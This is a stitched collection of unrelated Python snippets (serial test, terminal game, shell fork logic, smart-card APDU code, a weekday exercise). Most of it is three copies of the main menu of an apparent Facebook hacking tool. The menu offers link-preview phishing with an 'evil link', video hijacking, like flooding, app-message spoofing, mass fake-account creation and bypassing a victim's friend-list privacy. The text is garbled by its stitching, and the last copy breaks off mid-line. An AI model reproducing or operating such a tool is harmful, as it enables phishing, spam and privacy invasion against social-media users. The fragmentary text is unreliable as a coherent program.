def StartTest(self): # self.testTimer.start(10) recive = "" testresult = False stdin.flush() self.sendData() if self.Rs232ConnetctTest(3): # fd = open("/retest",'a') cout = 0 while (cout < 10000): cout += 1 stdin.flush() self.sendData() recive = raw_input() # fd.write(recive) if recive == self.teststring: break # fd.close() if cout <10000: testresult = True else: testresult = False else: testresult = False return testresult
def game_loop(self): """The actual game loop itself""" while True: os.system("clear") # print(self.game_map.map) display(self.score, self.game_map.map, self.player) self.game_map.step() self.player.update(self.game_map) tty.setraw(stdin) start_time = time.perf_counter() fds = self.inpoll.poll(500) poll_time = time.perf_counter() - start_time sleep_time = max(0, (0.2 - (self.speed * 0.05)) - poll_time) if fds != []: character = stdin.read(1) stdin.flush() if character == 'q': break elif character == 'f': self.speed += 5 self.player.x += 1 elif character == 'b': self.speed -= 5 self.player.x -= 1 elif character == 'j': self.player.jump() self.score += 10 + (5 * self.speed) print(self.game_map.map) time.sleep(sleep_time) terminal.restore()
def execute_in_background(self): ''' Executes tasks that do involve background execution. ''' #Fork a process for the child to run process = os.fork() if process != 0: #If parent just return to main thread (back to shell get input) return #Printing the PID of the background proccess is really useful in case user needs to kill it print('\r\r[' + str(os.getpid()) + '] ') if self.is_internal: #If it's internal just run the command by calling the function. self.task(self.args, out=self.output) print('\r[' + str(os.getpid()) + '] done') #Let the user know proccess finished exit(0) else: secondary = os.fork() # we fork a second process to monitor it's child which will run the program in the background. # this is essential as we have no way of knowing when the child process is done otherwise. if secondary != 0: self.wait_for_finish( ) #Wait for the child process to finish and notify user. else: #flush the standard input, output and error stderr.flush() stdout.flush() stdin.flush() # we check for IO redirection streams other to stdin, stdout and if so duplicate the file handler below. if self.input != stdin: os.dup2(self.input.fileno(), stdin.fileno()) #stdin if self.output != stdout: os.dup2(self.output.fileno(), stdout.fileno()) #stdout os.execv(self.task, [self.task] + self.args) #execute task
def start(): importdb() get_header(db_lines[0]) if im_fail == 0: mprint("Imported database " + str(argv[1]) + ":") mprint("") mprint("Select mode:") mprint("1. printout") mprint("2. write as txt") while True: in_mslc = raw_input("[Main] Enter a mode nr.: ") if int(in_mslc) < 3: break else: mprint("Invalid answer. Try again!") stdin.flush() mprint("") if in_mslc == "1": showdb() elif in_mslc == "2": totxt()
def select_EF(self, EFID): """ Sends the apdu to select the Application Directory Folder with the specified EFID Return: ( Bytearray): The return of the SELECT command """ logger.debug(f"Selecting EF: {hex(EFID)}") stdin.flush() if (EFID > 0xFFFF): logger.error("Invalid EFID ") exit(1) efid_high = (EFID >> 8) & 0xff efid_low = EFID & 0xff apdu = [ 0x00, # CLA 0xa4, # INS = SELECT FILE 0x02, # P1 = Select EF under the current DF 0x04, # P2 = Return FCP template, mandatory use of FCP tag and length 0x02, # LC = Select by EFID efid_high, efid_low, # Data = EFID 0x100, # Le = Boh ] d, s, t = self.transmit(apdu) if len(d) == 0: self.ef = EFID self.ef_size = -1 return [] size = int(d[4] * 256 + d[5]) self.ef = EFID self.ef_size = size return d
def newLike(): try: counter = 0 postId = [] print "Insert the Post ID's (Must be from a page). If no more posts for adding,insert '0' :" while True: response = raw_input('post[%d]:'%counter) if ( response is not '0' ): counter+=1 postId.append(response) else: break likeDev(postId) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' %e.args[0]
def addln(): global changes global db_lines try: htow(db_lines[len(db_lines) - 1]) nid = int(workln[0]) + 1 newln = "{" + str(nid).zfill(len(workln[0])) + ":}" except: nid = 1 nid_fill = input("[MAIN] Enter fillup for IDs: ") newln = "{" + str(1).zfill(nid_fill) + ":}" db_lines.append(newln) changes.append("new ID: " + str(nid)) mprint("") commit(True) htow(db_lines[-1]) offscorr(-1, True) for i in range(1, len(headerln)): stdin.flush() val = raw_input("[MAIN] " + headerln[i] + ": ").replace(":", "&dpp;") changeln(-1, i, val) commit()
def get_url(): while True: print() stdin.flush() url = input( "Enter the Flickr URL for the library you want to download. Do NOT include the page number,\n" "and be sure to include the 'https://' at the beginning: ") if url[len(url) - 1] == "/": url = url[0:len(url) - 1] try: request = requests.get(url) request.raise_for_status() if request.status_code != 200: print("Error. This URL is not correct. Error Code " + str(request.status_code)) else: break except HTTPError as http_err: print("Error. This is not a valid URL. Exception Code: " + str(http_err)) except Exception as err: print("Error: " + str(err)) return url
def oldLike(): try: counter = 0 postId = [] print 'Insert the Post ID\'s (Must be from a page). If no more posts for adding,insert \'0\' :' while True: response = raw_input('post[%d]:'%counter) if ( response is not '0' ): counter+=1 postId.append(response) else: break quantity = raw_input('Insert the amount of likes: ') like(postId, quantity) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' %e.args[0] raw_input('Press enter to continue..')
def jcp031(): letter = stdin.read(1) stdin.flush() while letter != 'Y': if letter == 'S': print('please input second letter') letter = stdin.read(1) stdin.flush() if letter == 'a': print('Saturday') elif letter == 'u': print('Sunday') else: print('data error') break elif letter == 'F': print('Friday') elif letter == 'M': print('Monday') elif letter == 'T': print('please input second letter') letter = stdin.read(1) stdin.flush() if letter == 'u': print('Tuesday') elif letter == 'h': print('Thursday') else: print('data error') break elif letter == 'W': print('Wednesday') else: print('data error') break letter = stdin.read(1) stdin.flush()
def main(): global globalLogin global globalEmail global globalPassword print ' \n \n \n \n \n \n ' print ' ______ ____ _ _ _______ ' print ' | ____| _ \| | | |__ __| ' print ' | |__ | |_) | |__| | | | ' print ' | __| | _ <| __ | | | ' print ' | | | |_) | | | | | | ' print ' |_| |____/|_| |_| |_| ' print ' ____ ___ ' print ' |___ \ / _ \ ' print ' __ ____) | | | | ' print ' \ \ / /__ <| | | | ' print ' \ V /___) | |_| | ' print ' \_/|____(_)___/ ' print ' _ _ ' print ' ____ | | (_) ' print ' / __ \ ___| |__ _ _ __ ___ ___ __ _ __ ___ ____ _ ' print ' / / _` |/ __| \'_ \| | \'_ \ / _ \ / _ \ / _` |/ _` \ \ /\ / / _` |' print ' | | (_| | (__| | | | | | | | (_) | (_) | (_| | (_| |\ V V | (_| |' print ' \ \__,_|\___|_| |_|_|_| |_|\___/ \___/ \__, |\__,_| \_/\_/ \__,_|' print ' \____/ __/ | ' print ' |___/ ' print '\n\n\n\n\n\n' raw_input('Enjoy it :D . Press enter to get started') while 1: option = -1 while ((int(option) != 1) and (int(option) != 2) and (int(option) != 3) and (int(option) != 4) and (int(option) != 5) and (int(option) != 6) and (int(option) != 7) and (int(option) != 8) and (int(option) != 9) and (int(option) != 10) and (int(option) != 11) and (int(option) != 12) and (int(option) != 13) and (int(option) != 14) and (int(option) != 15) and (int(option) != 16) and (int(option) != 17) and (int(option) != 18) and (int(option) != 19) and (int(option) != 20) and (int(option) != 21) and (int(option) != 22) and (int(option) != 23)): print '\n' print '1) Create accounts\n' print '2) Delete all accounts for a given user\n' print '3) Send friendship requests (Test Accounts)\n' print '4) Accept friendship requests (Test Accounts)\n' print '5) Connect all the accounts of the database\n' print '6) Link Preview hack (Simple web version)\n' print '7) Link Preview hack (Youtube version)\n' print '8) Youtube hijack\n' print '9) Private message, Link Preview hack (Simple web version)\n' print '10) Private message, Link Preview hack (Youtube version)\n' print '11) Like flood\n' print '12) Publish a post as an App (App Message Spoof)\n' print '13) Bypass friendship privacy\n' print '14) Bypass friendship privacy with graph support\n' print '15) Analyze an existing graph\n' print '16) Link to disclosed friendships\n' print '17) Print database status\n' print '18) Increase logging level globally\n' print '19) Set global login (Credentials stored in memory - Danger)\n' print '20) Print dead attacks :\'( \n' print '21) Send friend request to disclosed friend list from your account\n' print '22) Bypass friendship (only .dot without graph integration)\n' print '23) Close the application\n' choice = raw_input('Insert your choice: ') try: option = int(choice) except: raw_input('Not a digit, try again .. \n') print '\n\n' if(int(option) == 1): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: while True: number = raw_input('Insert the amount of accounts for creation (Must be less of 10): ') if int(number) <= 10: break sTime = time() if (createUser(number) == -1): raw_input('Apparently your test account list is full, try deleting first') else: print '\n' raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue: ') if(int(option) == 2): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: deleteUser() deleteAccounts() sTime = time() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue: ') if(int(option) == 3): sTime = time() massLogin() friendshipRequest() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:') if(int(option) == 4): sTime = time() massLogin() acceptRequest() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:') if(int(option) == 5): sTime = time() massLogin() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:') if (int(option) == 6): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: summary = raw_input('Insert a summary for the link: ') link = raw_input('Insert de evil link: ') realLink = raw_input('Insert de real link: ') title = raw_input('Insert a title for the link: ') image = raw_input('Insert the image url for the post: ') comment = raw_input('Insert a comment for the post associated: ') linkPreview(link,realLink,title,summary,comment,image, privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 7): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: summary = raw_input('Insert a summary for the video: ') link = raw_input('Insert de evil link: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (w?=): ') comment = raw_input('Insert a comment for the post associated to the video: ') linkPreviewYoutube(link,videoLink,title,summary,comment,videoID,privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 8): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (watch?v=): ') comment = raw_input('Insert a comment for the post associated to the video: ') hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=): ') hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo) else: print "Wrong privacy value, try again " if (int(option) == 9): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victims user ID: ') realLink = raw_input('Insert the real link: ') title = raw_input('Insert a title for the link: ') subject = raw_input('Insert the subject: ') summary = raw_input('Insert a summary for the link: ') message = raw_input('Insert the body of the message: ') evilLink = raw_input('Insert the evil link: ') imageLink = raw_input('Insert the image associated to the post: ') privateMessageLink(message,victim,subject,realLink,title,summary,imageLink,evilLink) if (int(option) == 10): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victimId = raw_input('Insert the victims user ID: ') subject = raw_input('Insert the subject: ') message = raw_input('Insert the message: ') title = raw_input('Insert a title for the video: ') summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') evilLink = raw_input('Insert the evil link (For hijacking insert same link as above): ') videoID = raw_input('Insert the video ID (watch?v=): ') hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=) - For Non-Hijackig press enter: ') privateMessagePhishing(victimId,message,subject,evilLink,videoLink,title,summary,videoID,hijackedVideo) if (int(option) == 11): signal.signal(signal.SIGINT, signal_handler) try: counter = 0 postId = [] print 'Insert the Post ID\'s (Must be from a page). If no more posts for adding,insert \'0\' :' while True: response = raw_input('post[%d]:'%counter) if ( response is not '0' ): counter+=1 postId.append(response) else: break quantity = raw_input('Insert the amount of likes: ') like(postId, quantity) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' %e.args[0] raw_input('Press enter to continue..') if (int(option) == 12): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: appId = raw_input('Insert a valid AppId: ') link = raw_input('Insert de evil link: ') picture = raw_input('Insert a link to a picture for the post: ') title = raw_input('Insert a title for the post: ') domain = raw_input('Insert a domain for the post: ') description = raw_input('Insert a description for the post: ') comment = raw_input('Insert a comment for the post: ') appMessageSpoof(appId,link,picture,title,domain,description,comment) if (int(option) == 13): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victim username or userId: ') transitive = raw_input('Insert the transitive username or userId: ') print 'The information will be stored in dumps\\%s.txt \n' %victim bypassFriendshipPrivacy(victim, transitive) if (int(option) == 14): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victim username or userId: ') check = checkPrivacy(victim) if (check == -1): transitive = raw_input('Insert the transitive username or userId: ') print 'The information will be stored in dumps\\%s\\%s.txt \n' %(victim,victim) bypassFriendshipPrivacyPlot(victim, transitive) else: friendList = friendshipPlot(check,victim) simpleGraph(friendList, victim) print 'Friends available public ;D' if (int(option) == 15): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: analize = int(raw_input('Analyze an existing one, or a new one? (0|1): ')) victim = raw_input('Insert the victim username or userId: ') if (analize == 1): analyzeGraph(victim) else: reAnalyzeGraph(victim) if (int(option) == 16): fileName = raw_input('Insert the victim username: '******'Press enter to continue: ') if (int(option) == 18): print 'This will increase the execution time significantly' setGlobalLogginng() if (int(option) == 19): globalLogin = not globalLogin if (globalLogin): globalEmail,globalPassword = setMail() else: globalEmail = '' globalPassword = '' if (int(option) == 20): print 'Mail bomber through test accounts' print 'Test accounts massive creation' print 'Blocked Test account login bypass' print 'We hope this tool to be useless in the future' raw_input('Press enter to continue: ') if (int(option) == 21): signal.signal(signal.SIGINT, signal_handler) warning = True while ( (warning is not '0') and (warning is not '1')): warning = raw_input('Your account could be blocked.. Continue? 0|1: ') if (warning == '1'): victim = raw_input('Insert the victim username (Bypass friends list first): ') if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: sendRequestToList(victim) if (int(option) == 22): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victim username or userId: ') check = checkPrivacy(victim) if (check == -1): transitive = raw_input('Insert the transitive username or userId: ') print 'The information will be stored in dumps\\%s\\%s.txt \n' %(victim,victim) dotFile(victim, transitive) else: print 'Friends publicly available ;D' friendList = friendshipPlot(check,victim) simpleDotGraph(friendList, victim) if (int(option) == 23): connect.close() print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' print ' _ _ _ _______ _ _____ _ _ _ ' print '| | | | | | |__ __| | | __ \| | | | | | ' print '| |__| | __ _ ___| | __ | | | |__ ___ | |__) | | __ _ _ __ ___| |_| | ' print '| __ |/ _` |/ __| |/ / | | | _ \ / _ \ | ___/| |/ _` | _ \ / _ \ __| | ' print '| | | | (_| | (__| < | | | | | | __/ | | | | (_| | | | | __/ |_|_| ' print '|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_) ' print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' exit(0)
#--coding:utf-8-- ''' 程序31】 题目:请输入星期几的第一个字母来判断一下是星期几,如果第一个字母一样,则继续 判断第二个字母。 1.程序分析:用情况语句比较好,如果第一个字母一样,则判断用情况语句或if语句判断第二个字母。 2.程序源代码: ''' from sys import stdin letter = stdin.read(1) stdin.flush() while letter != 'Y': if letter == 'S': print 'please input second letter' letter = stdin.read(1) stdin.flush() if letter == 'a': print 'Saturday' elif letter == 'u': print 'Sunday' else: print 'data error' break elif letter == 'F': print 'Friday' break elif letter == 'M': print 'Monday' #break elif letter == 'T': print 'please input second letter'
def main(): global globalLogin global globalEmail global globalPassword print " \n \n \n \n \n \n " print " ______ ____ _ _ _______ " print " | ____| _ \| | | |__ __| " print " | |__ | |_) | |__| | | | " print " | __| | _ <| __ | | | " print " | | | |_) | | | | | | " print " |_| |____/|_| |_| |_| " print " ___ ___ " print " |__ \ / _ \ " print " __ __ ) || | | | " print " \ \ / // / | | | | " print " \ V // /_ | |_| | " print " \_/|____(_\___/ " print " _ _ " print " ____ | | (_) " print " / __ \ ___| |__ _ _ __ ___ ___ __ _ __ ___ ____ _ " print " / / _` |/ __| '_ \| | '_ \ / _ \ / _ \ / _` |/ _` \ \ /\ / / _` |" print " | | (_| | (__| | | | | | | | (_) | (_) | (_| | (_| |\ V V | (_| |" print " \ \__,_|\___|_| |_|_|_| |_|\___/ \___/ \__, |\__,_| \_/\_/ \__,_|" print " \____/ __/ | " print " |___/ " print "\n\n\n\n\n\n" raw_input("Enjoy it :D . Press enter to get started") while 1: option = -1 while ( (int(option) != 1) and (int(option) != 2) and (int(option) != 3) and (int(option) != 4) and (int(option) != 5) and (int(option) != 6) and (int(option) != 7) and (int(option) != 8) and (int(option) != 9) and (int(option) != 10) and (int(option) != 11) and (int(option) != 12) and (int(option) != 13) and (int(option) != 14) and (int(option) != 15) and (int(option) != 16) and (int(option) != 17) and (int(option) != 18) and (int(option) != 19) and (int(option) != 20) and (int(option) != 21) and (int(option) != 22) ): print "\n" print "1) Create accounts\n" print "2) Delete all accounts for a given user\n" print "3) Send friendship requests (Test Accounts)\n" print "4) Accept friendship requests (Test Accounts)\n" print "5) Connect all the accounts of the database\n" print "6) Link Preview hack (Simple web version)\n" print "7) Link Preview hack (Youtube version)\n" print "8) Youtube hijack\n" print "9) Private message, Link Preview hack (Simple web version)\n" print "10) Private message, Link Preview hack (Youtube version)\n" print "11) Like flood\n" print "12) Publish a post as an App (App Message Spoof)\n" print "13) Bypass friendship privacy\n" print "14) Bypass friendship privacy with graph support\n" print "15) Analyze an existing graph\n" print "16) Link to disclosed friendships\n" print "17) Print database status\n" print "18) Increase logging level globally\n" print "19) Set global login (Credentials stored in memory - Danger)\n" print "20) Print dead attacks :'( \n" print "21) Send friend request to disclosed friend list from your account\n" print "22) Close the application\n" choice = raw_input("Insert your choice: ") try: option = int(choice) except: raw_input("Not a digit, try again .. \n") print "\n\n" if int(option) == 1: if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: while True: number = raw_input("Insert the amount of accounts for creation (Must be less of 10): ") if int(number) <= 10: break sTime = time() if createUser(number) == -1: raw_input("Apparently your test account list is full, try deleting first") else: print "\n" raw_input("Execution time : %d" % (time() - sTime) + "\nPress Enter to continue: ") if int(option) == 2: if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: deleteUser() deleteAccounts() sTime = time() raw_input("Execution time : %d" % (time() - sTime) + "\nPress Enter to continue: ") if int(option) == 3: sTime = time() massLogin() friendshipRequest() raw_input("Execution time : %d" % (time() - sTime) + "\nPress Enter to continue:") if int(option) == 4: sTime = time() massLogin() acceptRequest() raw_input("Execution time : %d" % (time() - sTime) + "\nPress Enter to continue:") if int(option) == 5: sTime = time() massLogin() raw_input("Execution time : %d" % (time() - sTime) + "\nPress Enter to continue:") if int(option) == 6: if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: summary = raw_input("Insert a summary for the link: ") link = raw_input("Insert de evil link: ") realLink = raw_input("Insert de real link: ") title = raw_input("Insert a title for the link: ") image = raw_input("Insert the image url for the post: ") comment = raw_input("Insert a comment for the post associated: ") linkPreview(link, realLink, title, summary, comment, image) if int(option) == 7: if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: summary = raw_input("Insert a summary for the video: ") link = raw_input("Insert de evil link: ") videoLink = raw_input("Insert de youtube link: ") title = raw_input("Insert a title for the video: ") videoID = raw_input("Insert the video ID (w?=): ") comment = raw_input("Insert a comment for the post associated to the video: ") linkPreviewYoutube(link, videoLink, title, summary, comment, videoID) if int(option) == 8: signal.signal(signal.SIGINT, signal_handler) if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: summary = raw_input("Insert a summary for the video: ") videoLink = raw_input("Insert de youtube link: ") title = raw_input("Insert a title for the video: ") videoID = raw_input("Insert the video ID (watch?v=): ") comment = raw_input("Insert a comment for the post associated to the video: ") hijackedVideo = raw_input("Insert the ID for the hijacked video (watch?v=): ") hijackVideo(videoLink, title, summary, comment, videoID, hijackedVideo) if int(option) == 9: signal.signal(signal.SIGINT, signal_handler) if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: victim = raw_input("Insert the victims user ID: ") realLink = raw_input("Insert the real link: ") title = raw_input("Insert a title for the link: ") subject = raw_input("Insert the subject: ") summary = raw_input("Insert a summary for the link: ") message = raw_input("Insert the body of the message: ") evilLink = raw_input("Insert the evil link: ") imageLink = raw_input("Insert the image associated to the post: ") privateMessageLink(message, victim, subject, realLink, title, summary, imageLink, evilLink) if int(option) == 10: signal.signal(signal.SIGINT, signal_handler) if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: victimId = raw_input("Insert the victims user ID: ") subject = raw_input("Insert the subject: ") message = raw_input("Insert the message: ") title = raw_input("Insert a title for the video: ") summary = raw_input("Insert a summary for the video: ") videoLink = raw_input("Insert de youtube link: ") evilLink = raw_input("Insert the evil link (For hijacking insert same link as above): ") videoID = raw_input("Insert the video ID (watch?v=): ") hijackedVideo = raw_input( "Insert the ID for the hijacked video (watch?v=) - For Non-Hijackig press enter: " ) privateMessagePhishing( victimId, message, subject, evilLink, videoLink, title, summary, videoID, hijackedVideo ) if int(option) == 11: signal.signal(signal.SIGINT, signal_handler) try: counter = 0 postId = [] print "Insert the Post ID's (Must be from a page). If no more posts for adding,insert '0' :" while True: response = raw_input("post[%d]:" % counter) if response is not "0": counter += 1 postId.append(response) else: break quantity = raw_input("Insert the amount of likes: ") like(postId, quantity) except EOFError: print "EOFError" stdin.flush() pass except signalCaught as e: print " %s" % e.args[0] raw_input("Press enter to continue..") if int(option) == 12: if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: appId = raw_input("Insert a valid AppId: ") link = raw_input("Insert de evil link: ") picture = raw_input("Insert a link to a picture for the post: ") title = raw_input("Insert a title for the post: ") domain = raw_input("Insert a domain for the post: ") description = raw_input("Insert a description for the post: ") comment = raw_input("Insert a comment for the post: ") appMessageSpoof(appId, link, picture, title, domain, description, comment) if int(option) == 13: signal.signal(signal.SIGINT, signal_handler) if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: victim = raw_input("Insert the victim username or userId: ") transitive = raw_input("Insert the transitive username or userId: ") print "The information will be stored in dumps\\%s.txt \n" % victim bypassFriendshipPrivacy(victim, transitive) if int(option) == 14: signal.signal(signal.SIGINT, signal_handler) if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: victim = raw_input("Insert the victim username or userId: ") transitive = raw_input("Insert the transitive username or userId: ") print "The information will be stored in dumps\\%s\\%s.txt \n" % (victim, victim) bypassFriendshipPrivacyPlot(victim, transitive) if int(option) == 15: analize = int(raw_input("Analyze an existing one, or a new one? (0|1): ")) victim = raw_input("Insert the victim username or userId: ") if analize == 1: analyzeGraph(victim) else: reAnalyzeGraph(victim) if int(option) == 16: fileName = raw_input("Insert the victim username: "******"Press enter to continue: ") if int(option) == 18: print "This will increase the execution time significantly" setGlobalLogginng() if int(option) == 19: globalLogin = not globalLogin if globalLogin: globalEmail, globalPassword = setMail() else: globalEmail = "" globalPassword = "" if int(option) == 20: print "Mail bomber through test accounts" print "Test accounts massive creation" print "Blocked Test account login bypass" print "We hope this tool to be useless in the future" raw_input("Press enter to continue: ") if int(option) == 21: signal.signal(signal.SIGINT, signal_handler) warning = True while (warning is not "0") and (warning is not "1"): warning = raw_input("Your account could be blocked.. Continue? 0|1: ") if warning == "1": victim = raw_input("Insert the victim username (Bypass friends list first): ") if globalLogin == False: email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, "real")) != -1: sendRequestToList(victim) if int(option) == 22: connect.close() print "\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n " print " _ _ _ _______ _ _____ _ _ _ " print "| | | | | | |__ __| | | __ \| | | | | | " print "| |__| | __ _ ___| | __ | | | |__ ___ | |__) | | __ _ _ __ ___| |_| | " print "| __ |/ _` |/ __| |/ / | | | _ \ / _ \ | ___/| |/ _` | _ \ / _ \ __| | " print "| | | | (_| | (__| < | | | | | | __/ | | | | (_| | | | | __/ |_|_| " print "|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_) " print "\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n " exit(0)
def main(): global globalLogin global globalEmail global globalPassword print ' \n \n \n \n \n \n ' print ' ______ ____ _ _ _______ ' print ' | ____| _ \| | | |__ __| ' print ' | |__ | |_) | |__| | | | ' print ' | __| | _ <| __ | | | ' print ' | | | |_) | | | | | | ' print ' |_| |____/|_| |_| |_| ' print ' ___ ___ ' print ' |__ \ / _ \ ' print ' __ __ ) || | | | ' print ' \ \ / // / | | | | ' print ' \ V // /_ | |_| | ' print ' \_/|____(_\___/ ' print ' _ _ ' print ' ____ | | (_) ' print ' / __ \ ___| |__ _ _ __ ___ ___ __ _ __ ___ ____ _ ' print ' / / _` |/ __| \'_ \| | \'_ \ / _ \ / _ \ / _` |/ _` \ \ /\ / / _` |' print ' | | (_| | (__| | | | | | | | (_) | (_) | (_| | (_| |\ V V | (_| |' print ' \ \__,_|\___|_| |_|_|_| |_|\___/ \___/ \__, |\__,_| \_/\_/ \__,_|' print ' \____/ __/ | ' print ' |___/ ' print '\n\n\n\n\n\n' raw_input('Enjoy it :D . Press enter to get started') while 1: option = -1 while ((int(option) != 1) and (int(option) != 2) and (int(option) != 3) and (int(option) != 4) and (int(option) != 5) and (int(option) != 6) and (int(option) != 7) and (int(option) != 8) and (int(option) != 9) and (int(option) != 10) and (int(option) != 11) and (int(option) != 12) and (int(option) != 13) and (int(option) != 14) and (int(option) != 15) and (int(option) != 16) and (int(option) != 17) and (int(option) != 18) and (int(option) != 19) and (int(option) != 20) and (int(option) != 21) and (int(option) != 22)): print '\n' print '1) Create accounts\n' print '2) Delete all accounts for a given user\n' print '3) Send friendship requests (Test Accounts)\n' print '4) Accept friendship requests (Test Accounts)\n' print '5) Connect all the accounts of the database\n' print '6) Link Preview hack (Simple web version)\n' print '7) Link Preview hack (Youtube version)\n' print '8) Youtube hijack\n' print '9) Private message, Link Preview hack (Simple web version)\n' print '10) Private message, Link Preview hack (Youtube version)\n' print '11) Like flood\n' print '12) Publish a post as an App (App Message Spoof)\n' print '13) Bypass friendship privacy\n' print '14) Bypass friendship privacy with graph support\n' print '15) Analyze an existing graph\n' print '16) Link to disclosed friendships\n' print '17) Print database status\n' print '18) Increase logging level globally\n' print '19) Set global login (Credentials stored in memory - Danger)\n' print '20) Print dead attacks :\'( \n' print '21) Send friend request to disclosed friend list from your account\n' print '22) Close the application\n' choice = raw_input('Insert your choice: ') try: option = int(choice) except: raw_input('Not a digit, try again .. \n') print '\n\n' if (int(option) == 1): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: while True: number = raw_input( 'Insert the amount of accounts for creation (Must be less of 10): ' ) if int(number) <= 10: break sTime = time() if (createUser(number) == -1): raw_input( 'Apparently your test account list is full, try deleting first' ) else: print '\n' raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue: ') if (int(option) == 2): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: deleteUser() deleteAccounts() sTime = time() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue: ') if (int(option) == 3): sTime = time() massLogin() friendshipRequest() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue:') if (int(option) == 4): sTime = time() massLogin() acceptRequest() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue:') if (int(option) == 5): sTime = time() massLogin() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue:') if (int(option) == 6): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: summary = raw_input('Insert a summary for the link: ') link = raw_input('Insert de evil link: ') realLink = raw_input('Insert de real link: ') title = raw_input('Insert a title for the link: ') image = raw_input('Insert the image url for the post: ') comment = raw_input( 'Insert a comment for the post associated: ') linkPreview(link, realLink, title, summary, comment, image) if (int(option) == 7): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: summary = raw_input('Insert a summary for the video: ') link = raw_input('Insert de evil link: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (w?=): ') comment = raw_input( 'Insert a comment for the post associated to the video: ') linkPreviewYoutube(link, videoLink, title, summary, comment, videoID) if (int(option) == 8): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, 